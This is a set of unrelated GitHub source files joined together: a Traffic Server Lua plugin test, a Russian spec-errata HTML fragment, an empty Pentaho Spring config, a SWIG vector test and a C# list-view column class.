request_header = {"headers": "GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n",
"timestamp": "1469733493.993", "body": ""}
# expected response from the origin server
response_header = {"headers": "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n",
"timestamp": "1469733493.993", "body": ""}
# add response to the server dictionary
server.addResponse("sessionfile.log", request_header, response_header)
ts.Disk.remap_config.AddLine(
'map / http://127.0.0.1:{}/'.format(server.Variables.Port) +
' @plugin=tslua.so @pparam={}/watermark.lua'.format(Test.TestDirectory)
)
ts.Disk.records_config.update({
'proxy.config.diags.debug.enabled': 1,
'proxy.config.diags.debug.tags': 'ts_lua'
})
# Test for watermark debug output
ts.Streams.All = Testers.ContainsExpression(r"WMbytes\(31337\)", "Upstream watermark should be properly set")
# These are needed for 8.x only since Lua errors go to diags in 8.x, newer versions go to stdout
#ts.Disk.diags_log.Content = Testers.ContainsExpression("failed to get node's reconfigure time while checking script registration", "This test is a failure test")
#ts.Disk.diags_log.Content = Testers.ContainsExpression("failed to get node's reconfigure time while registering script", "This test is a failure test")
# Test if watermark upstream is set
tr = Test.AddTestRun("Lua Watermark")
tr.Processes.Default.Command = "curl -v http://127.0.0.1:{0}".format(ts.Variables.port)
tr.Processes.Default.StartBefore(server, ready=When.PortOpen(server.Variables.Port))
tr.Processes.Default.StartBefore(ts)
tr.StillRunningAfter = server
|
{
"pile_set_name": "Github"
}
|
<link rel="stylesheet" href="../style.css">
<p class="ed">(Алгоритм неверен, если message равно пустой строке или undefined)</p>
<ol start="6" style="margin-bottom: 0">
<li><p>Если
<ins><i>msg</i></ins> равно undefined, то пусть
<del><i>R</i></del>
<ins><i>msg</i></ins>
будет
<del><i>msg</i></del>
<ins>пустой строкой, иначе пусть <i>msg</i> будет ToString(<i>msg</i>).</ins></p></li>
<li><p><del>Иначе, пусть <i>R</i> будет результатом конкатенации <i>name</i>, <code>"</code><code><b>:</b></code><code>"</code>, символа одиночного пробела и ToString(<i>msg</i>).</del></p></li>
<li><p><del>Вернуть <i><i>R</i></i>.</del></p></li>
</ol>
<ins>
<ol start="7" style="margin-top: 0">
<li><p>Если и <I>name </I>и <i>msg</i> являются пустыми строками, вернуть <code>"Error"</code>.</p></li>
<li><p>Если <i>name</i> равно пустой строке, вернуть <i>msg</i>.</p></li>
<li><p>Если <i>msg</i> равно пустой строке, вернуть <i>name</i>.</p></li>
<li><p>Вернуть результат конкатенации <i>name</i>, <code>":"</code>, символа одиночного пробела и <i>msg</i>.</p></li>
</ol>
</ins>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
"http://www.springframework.org/dtd/spring-beans.dtd">
<!--
This is the spring configuration file that is used to wire session startup actions into the Pentaho
BI Platform. Session startup actions are action sequences that are run when a particular type of
session is started up. At the time of this writing the known session types were:
PentahoHttpSession, PentahoPortletSession, UserSession, & Standalone session.
-->
<beans>
<bean id="sessionStartupActionsList" class="java.util.ArrayList">
<!--<constructor-arg>-->
<!--<list>-->
<!---->
<!--<!– Start of PentahoHttpSession startup actions. –>-->
<!--<bean class="org.pentaho.platform.engine.core.system.SessionStartupAction">-->
<!--<property name="sessionType" value="org.pentaho.platform.web.http.session.PentahoHttpSession"/>-->
<!--<property name="actionPath" value="samples/rules/session-region-list.xaction"/>-->
<!--<property name="actionOutputScope" value="session"/>-->
<!--</bean>-->
<!--<bean class="org.pentaho.platform.engine.core.system.SessionStartupAction">-->
<!--<property name="sessionType" value="org.pentaho.platform.web.http.session.PentahoHttpSession"/>-->
<!--<property name="actionPath" value="samples/secure/global-department-list.xaction"/>-->
<!--<property name="actionOutputScope" value="global"/>-->
<!--</bean>-->
<!--<!– End of PentahoHttpSession startup actions. –>-->
<!---->
<!--<!– Start of PentahoPortletSession startup actions. –>-->
<!--<bean class="org.pentaho.platform.engine.core.system.SessionStartupAction">-->
<!--<property name="sessionType" value="org.pentaho.platform.web.http.portal.PentahoPortletSession"/>-->
<!--<property name="actionPath" value="samples/rules/session-region-list.xaction"/>-->
<!--<property name="actionOutputScope" value="session"/>-->
<!--</bean>-->
<!--<bean class="org.pentaho.platform.engine.core.system.SessionStartupAction">-->
<!--<property name="sessionType" value="org.pentaho.platform.web.http.portal.PentahoPortletSession"/>-->
<!--<property name="actionPath" value="samples/secure/global-department-list.xaction"/>-->
<!--<property name="actionOutputScope" value="global"/>-->
<!--</bean>-->
<!--<!– End of PentahoPortletSession startup actions. –>-->
<!---->
<!--<!– Start of UserSession startup actions. –>-->
<!--<bean class="org.pentaho.platform.engine.core.system.SessionStartupAction">-->
<!--<property name="sessionType" value="org.pentaho.core.session.UserSession"/>-->
<!--<property name="actionPath" value="samples/rules/session-region-list.xaction"/>-->
<!--<property name="actionOutputScope" value="session"/>-->
<!--</bean>-->
<!--<bean class="org.pentaho.platform.engine.core.system.SessionStartupAction">-->
<!--<property name="sessionType" value="org.pentaho.core.session.UserSession"/>-->
<!--<property name="actionPath" value="samples/secure/global-department-list.xaction"/>-->
<!--<property name="actionOutputScope" value="global"/>-->
<!--</bean>-->
<!--<!– End of UserSession startup actions. –>-->
<!---->
<!--</list>-->
<!--</constructor-arg>-->
</bean>
</beans>
|
{
"pile_set_name": "Github"
}
|
// Bug 2359417
%module li_std_vector_ptr
%include "std_vector.i"
%template(IntPtrVector) std::vector<int *>;
%inline %{
#include <iostream>
using namespace std;
int* makeIntPtr(int v) {
return new int(v);
}
double* makeDoublePtr(double v) {
return new double(v);
}
#if 1
int** makeIntPtrPtr(int* v) {
return new int*(v);
}
#endif
void displayVector(std::vector<int *> vpi) {
cout << "displayVector..." << endl;
for (int i=0; i<vpi.size(); ++i)
cout << *vpi[i] << endl;
}
%}
|
{
"pile_set_name": "Github"
}
|
#region License
// -----------------------------------------------------------------------------------------------------------
//
// Name: VisualListViewColumn.cs
//
// Copyright (c) 2016 - 2019 VisualPlus <https://darkbyte7.github.io/VisualPlus/>
// All Rights Reserved.
//
// -----------------------------------------------------------------------------------------------------------
//
// GNU General Public License v3.0 (GPL-3.0)
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
// EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
//
// This file is subject to the terms and conditions defined in the file
// 'LICENSE.md', which should be in the root directory of the source code package.
//
// -----------------------------------------------------------------------------------------------------------
#endregion
#region Namespace
using System;
using System.Collections;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using VisualPlus.Delegates;
using VisualPlus.Enumerators;
using VisualPlus.Events;
using VisualPlus.Localization;
using VisualPlus.Toolkit.Controls.DataManagement;
using VisualPlus.Toolkit.EmbeddedControls;
using VisualPlus.TypeConverters;
#endregion
namespace VisualPlus.Toolkit.Child
{
[DesignTimeVisible(true)]
[TypeConverter(typeof(VisualListViewColumnConverter))]
public class VisualListViewColumn : ICloneable
{
#region Fields
private ArrayList _activeControlItems;
private bool _checkBox;
private bool _checkBoxes;
private bool _checked;
private ColumnStates _columnState;
private Control _embeddedControlTemplate;
private LVActivatedEmbeddedTypes _embeddedType;
private int _imageIndex;
private SortDirections _lastSortDirection;
private VisualListView _listView;
private string _name;
private bool _numericSort;
private object _tag;
private string _text;
private ContentAlignment _textAlignment;
private int _width;
#endregion
#region Constructors and Destructors
/// <summary>Initializes a new instance of the <see cref="VisualListViewColumn" /> class.</summary>
public VisualListViewColumn()
{
_embeddedControlTemplate = null;
_embeddedType = LVActivatedEmbeddedTypes.None;
_activeControlItems = new ArrayList();
_columnState = ColumnStates.None;
_imageIndex = -1;
_lastSortDirection = SortDirections.Descending;
_textAlignment = ContentAlignment.MiddleLeft;
_width = 150;
_tag = null;
_listView = null;
_numericSort = false;
_checked = false;
_checkBoxes = false;
_checkBox = false;
}
/// <summary>Initializes a new instance of the <see cref="VisualListViewColumn" /> class.</summary>
/// <param name="key">The key of the column header.</param>
public VisualListViewColumn(string key) : this()
{
_name = key;
_text = key;
}
/// <summary>Initializes a new instance of the <see cref="VisualListViewColumn" /> class.</summary>
/// <param name="key">The key of the column header.</param>
/// <param name="text">The text to display in the column header.</param>
public VisualListViewColumn(string key, string text) : this()
{
_name = key;
_text = text;
}
#endregion
#region Public Events
[Category(EventCategory.PropertyChanged)]
[Description(EventDescription.PropertyEventChanged)]
public event ListViewChangedEventHandler ChangedEvent;
#endregion
#region Public Properties
[Browsable(false)]
[Description("Array of items that have live controls.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public ArrayList ActiveControlItems
{
get
{
return _activeControlItems;
}
set
{
_activeControlItems = value;
}
}
[Browsable(true)]
[Category(PropertyCategory.Behavior)]
[Description(PropertyDescription.CheckBoxes)]
public bool CheckBox
{
get
{
return _checkBox;
}
set
{
_checkBox = value;
}
}
[Browsable(true)]
[Category(PropertyCategory.Behavior)]
[Description(PropertyDescription.CheckBoxes)]
public bool CheckBoxes
{
get
{
return _checkBoxes;
}
set
{
_checkBoxes = value;
}
}
[Browsable(true)]
[Category(PropertyCategory.Behavior)]
[Description(PropertyDescription.CheckBoxes)]
public bool Checked
{
get
{
return _checked;
}
set
{
_checked = value;
}
}
[Browsable(false)]
[Description("Activated embedded control types available.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public Control EmbeddedControlTemplate
{
get
{
return _embeddedControlTemplate;
}
set
{
_embeddedControlTemplate = value;
}
}
[Browsable(true)]
[Category(PropertyCategory.Behavior)]
[Description("Type of system embedded control you would like activated in place here.")]
public LVActivatedEmbeddedTypes EmbeddedType
{
get
{
return _embeddedType;
}
set
{
// set the activated embedded control template here
_embeddedType = value;
// only handle system types
if (value == LVActivatedEmbeddedTypes.TextBox)
{
_embeddedControlTemplate = new LVTextBox();
}
else if (value == LVActivatedEmbeddedTypes.ComboBox)
{
_embeddedControlTemplate = new LVComboBox();
}
else if (value == LVActivatedEmbeddedTypes.DateTimePicker)
{
_embeddedControlTemplate = new LVDateTimePicker();
}
else if (value == LVActivatedEmbeddedTypes.None)
{
EmbeddedControlTemplate = null;
}
// if its none or user control them leave it alone
}
}
[Category(EventCategory.Behavior)]
[Description(PropertyDescription.ImageIndex)]
[TypeConverter(typeof(ImageIndexConverter))]
public int ImageIndex
{
get
{
return _imageIndex;
}
set
{
_imageIndex = value;
}
}
[Browsable(false)]
[Description(PropertyDescription.SortDirection)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public SortDirections LastSortState
{
get
{
return _lastSortDirection;
}
set
{
_lastSortDirection = value;
}
}
[Browsable(false)]
[Description(PropertyDescription.Parent)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public VisualListView ListView
{
get
{
return _listView;
}
set
{
_listView = value;
}
}
[Browsable(true)]
[Category(PropertyCategory.Design)]
[Description(PropertyDescription.Name)]
public string Name
{
get
{
return _name;
}
set
{
if (_name != value)
{
_name = value;
ChangedEvent?.Invoke(this, new ListViewChangedEventArgs(ListViewChangedTypes.ColumnChanged, this, null, null));
}
}
}
[Browsable(true)]
[Category(EventCategory.Behavior)]
[Description(PropertyDescription.NumericSort)]
public bool NumericSort
{
get
{
return _numericSort;
}
set
{
_numericSort = value;
}
}
[Browsable(false)]
[Description(PropertyDescription.ColumnStates)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public ColumnStates State
{
get
{
return _columnState;
}
set
{
if (_columnState != value)
{
_columnState = value;
ChangedEvent?.Invoke(this, new ListViewChangedEventArgs(ListViewChangedTypes.ColumnStateChanged, this, null, null));
}
}
}
[Browsable(false)]
[Category(PropertyCategory.Data)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public object Tag
{
get
{
return _tag;
}
set
{
_tag = value;
}
}
[Browsable(true)]
[Category(PropertyCategory.Appearance)]
[Description(PropertyDescription.Text)]
public string Text
{
get
{
return _text;
}
set
{
if (_text != value)
{
_text = value;
ChangedEvent?.Invoke(this, new ListViewChangedEventArgs(ListViewChangedTypes.ColumnChanged, this, null, null));
}
}
}
[Browsable(true)]
[Category(PropertyCategory.Appearance)]
[Description(PropertyDescription.TextAlign)]
public ContentAlignment TextAlignment
{
get
{
return _textAlignment;
}
set
{
_textAlignment = value;
}
}
[Browsable(true)]
[Category(PropertyCategory.Design)]
[Description(PropertyDescription.Size)]
public int Width
{
get
{
return _width;
}
set
{
if (_width != value)
{
_width = value;
ChangedEvent?.Invoke(this, new ListViewChangedEventArgs(ListViewChangedTypes.ColumnChanged, this, null, null));
}
}
}
#endregion
#region Public Methods and Operators
/// <summary>
/// Creates an identical copy of the current <see cref="VisualListViewColumn" /> that is not attached to any list
/// view control.
/// </summary>
/// <returns>The <see cref="Object" />.</returns>
public object Clone()
{
Type _clonedType = GetType();
VisualListViewColumn _column;
if (_clonedType == typeof(VisualListViewColumn))
{
_column = new VisualListViewColumn();
}
else
{
_column = (VisualListViewColumn)Activator.CreateInstance(_clonedType);
}
_column.Text = Text;
_column.Width = Width;
_column.TextAlignment = TextAlignment;
return _column;
}
public override string ToString()
{
return GetType().Name + ": {" + _text + "}";
}
#endregion
}
}
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.